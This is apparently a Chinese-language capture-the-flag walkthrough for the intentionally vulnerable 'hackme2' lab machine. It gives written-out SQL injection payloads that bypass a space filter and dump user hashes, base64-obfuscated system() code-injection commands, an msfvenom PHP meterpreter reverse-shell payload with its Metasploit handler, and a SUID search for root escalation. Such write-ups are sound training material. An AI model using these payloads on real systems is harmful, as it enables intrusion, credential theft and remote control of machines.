Description
‘hackme2’ is a medium difficulty level box. This is the second part of the hackme series where more controls are in place do deter malicious attacks. In addition, you will have to think out of the box to exploit the vulnerabilites. The goal is to gain limited privilege access via web vulnerabilities and subsequently, privilege escalate as a root user. The lab was created to mimic real world web vulnerabilities.
‘hackme2’ uses DHCP and in the possible event that the mysqld shuts down on its own (very rare cases), attempt to force restart the machine and it should be working fine subsequently.
Walkthrough
扫描探测
探测目标ip
arp-scan -I eth0 -l
探测目标开放的服务
nmap -p- -sV 10.0.1.102
发现目标有一个站点
因为这个靶机和hackme1差不多,因此需要先注册一个账号,登陆进去。这里我注册了一个hack123/hack123
SQL注入
这里的查询参数存在sql注入漏洞,可以手工注入也可以用sqlmap自动化扫描
这里采用手工注入
输入All或者Linux可以查询到一些表中存在的书名
推测的查询语句为
$sql = " SELECT * FROM BOOKS WHERE book_name LIKE '".$input."%';"
因此构造测试语句
All%' and '123 ' like '1 # 正常回显
All%' and '123 ' like '2 # 不正常回显
从这,我们可以判断这里存在注入点
还要注意的是这里需要用注释符代替空格,否则返回内容为空
All%'/**/union/**/select/**/1,2,3'
All%'/**/union/**/select/**/1,database(),3' # 数据库
All%'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'webapphacking # 数据表
All%'/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/'webapphacking'/**/and/**/table_name/**/like/**/'users # 字段
All%'/**/union/**/select/**/1,group_concat(user),group_concat(pasword)/**/from/**/users/**/where/**/111/**/like/**/'1 # 用户名、密码
通过以上测试我们可以得到数据库中的用户名密码
通过在线的md5破解,可以得到管理员账号密码superadmin/Uncrackable
Code Injection
登陆账号后,有一个上传点,和两个输入框,上传点可能存在文件上传漏洞,输入框可能存在xss
这里用owasp-zap扫描了一下,发现lname参数存在代码注入
owasp-zap用法参考https://www.wangan.com/docs/1177
由于文件后缀限制,这里我们可以先上传一个包含shellcode的文件,通过代码注入修改后缀名
msfvenom生成一个shell
msfvenom -p php/meterpreter_reverse_tcp lhost=10.0.1.100 lport=12344 -f raw > reverse_shell.php
修改成txt文件上传
因为参数传递时空格会被过滤,所以采用base编码的形式
system(base64_decode("bHM=")); # ls
发现文件上传的路径
system(base64_decode("Y2F0IHdlbGNvbWVhZG1pbi5waHA=")); # cat welcomeadmin.php
查看页面源码,可以发现存在漏洞的代码
system(base64_decode("bHMgdXBsb2Fkcw==")); # ls uploads
发现uploads目录下还有个子目录year2020
system(base64_decode("bHMgdXBsb2Fkcy95ZWFyMjAyMA==")); # ls uploads/year2020
发现上传的文件
尝试修改文件名后缀
system(base64_decode("bXYgdXBsb2Fkcy95ZWFyMjAyMC9yZXZlcnNlX3NoZWxsLnR4dCB1cGxvYWRzL3llYXIyMDIwL3JldmVyc2Vfc2hlbGwucGhw")); # 把文件名后缀修改成php
system(base64_decode("bHMgdXBsb2Fkcy95ZWFyMjAyMA==")); # 再次查看
修改成功,同时也知道shellcode的路径
10.0.1.102/uploads/year2020/reverse_shell.php
用msf连接
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload php/meterpreter_reverse_tcp
payload => php/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.0.1.100
lhost => 10.0.1.100
msf6 exploit(multi/handler) > set lport 12344
lport => 12344
msf6 exploit(multi/handler) > run
提权
获得的权限较低的账号,可以考虑suid提权,参考https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html
find / -perm -u=s -type f 2>/dev/null
发现/leagacy目录里有具有suid权限文件
SUID 特殊权限仅适用于可执行文件,所具有的功能是,只要用户对设有 SUID 的文件有执行权限,那么当用户执行此文件时,会以文件所有者的身份去执行此文件,一旦文件执行结束,身份的切换也随之消失。
这样就成功拿到root权限,提权的方法和hackme1是一样。
|